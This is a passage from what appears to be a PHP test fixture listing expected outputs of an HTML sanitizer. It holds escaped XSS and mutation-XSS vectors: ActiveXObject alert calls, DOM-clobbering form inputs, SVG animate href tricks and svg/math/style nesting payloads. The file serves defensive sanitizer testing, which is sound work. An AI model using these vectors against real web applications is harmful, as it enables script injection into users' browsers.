&lt;eval&gt;new ActiveXObject(\'htmlfile\').parentWindow.alert&#40;135&#41;&lt;/eval&gt;
<if expr="new ActiveXObject(\'htmlfile\').parentWindow.alert&#40;2&#41;"></if>
</template>
</stylesheet>//["\'`-->]]>]</div>',
  184 => '<div id="136">&lt;form action="x" method="post"&gt;
&lt;input name="username" value="admin" /&gt;
&lt;input name="password" type="password" value="secret" /&gt;
&lt;input name="injected" value="injected" dirname="password" /&gt;
&lt;input type="submit"&gt;
&lt;/form&gt;//["\'`-->]]>]</div>',
  185 => '<div id="137">&lt;svg&gt;
<a xlink="http://www.w3.org/1999/xlink"href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="(137)" to="&" />
</a>//["\'`-->]]>]</div>',
  186 => '<img name="bar" id="foo">',
  187 => '&lt;input name=submit&gt;123',
  188 => '&lt;input name=acceptCharset&gt;123',
  189 => '<img src="small.jpg" srcset="medium.jpg 1000w, large.jpg 2000w">',
  190 => '<div &nbsp;=""></div>',
  191 => '<x/>&lt;title&gt;&amp;lt;/title&amp;gt;&amp;lt;img src=1 =alert&#40;1&#41;&gt;',
  192 => '&lt;svg&gt;</p>&lt;textarea&gt;&lt;title&gt;&lt;style&gt;&lt;/textarea&gt;<img >&lt;/style&gt;&lt;/title&gt;&lt;/svg&gt;',
  193 => '&lt;math&gt;</p>&lt;textarea&gt;<mi>&lt;style&gt;&lt;/textarea&gt;<img ></mi>&lt;/math&gt;',
  194 => '&lt;svg&gt;</p>&lt;title&gt;<template>&lt;style&gt;&lt;/title&gt;<img >',
  195 => '&lt;math&gt;</br>&lt;textarea&gt;<mtext><template>&lt;style&gt;&lt;/textarea&gt;<img >',
  196 => '&lt;form&gt;&lt;input name=namespaceURI&gt;',
  197 => '&lt;svg&gt;</p>&lt;math&gt;&lt;title&gt;&lt;style&gt;<img >&lt;/style&gt;&lt;/title&gt;',
  198 => '&lt;svg&gt;</p>&lt;style&gt;<g title="&lt;/style&gt;&lt;img >">',
  199 => '&lt;svg&gt;<foreignobject><p>&lt;style&gt;<p title="&lt;/style&gt;&lt;iframe ">&lt;/style&gt;',
  200 => '&lt;math&gt;<annotation-xml encoding="text/html"><p>&lt;style&gt;<p title="&lt;/style&gt;&lt;iframe ">&lt;/style&gt;',
  201 => '<xmp>&lt;svg&gt;<b>&lt;style&gt;<b title=\'&lt;/style&gt;&lt;img>\'>',
  202 => '<noembed>&lt;svg&gt;<b>&lt;style&gt;<b title=\'&lt;/style&gt;&lt;img>\'>',
  203 => ' ',
];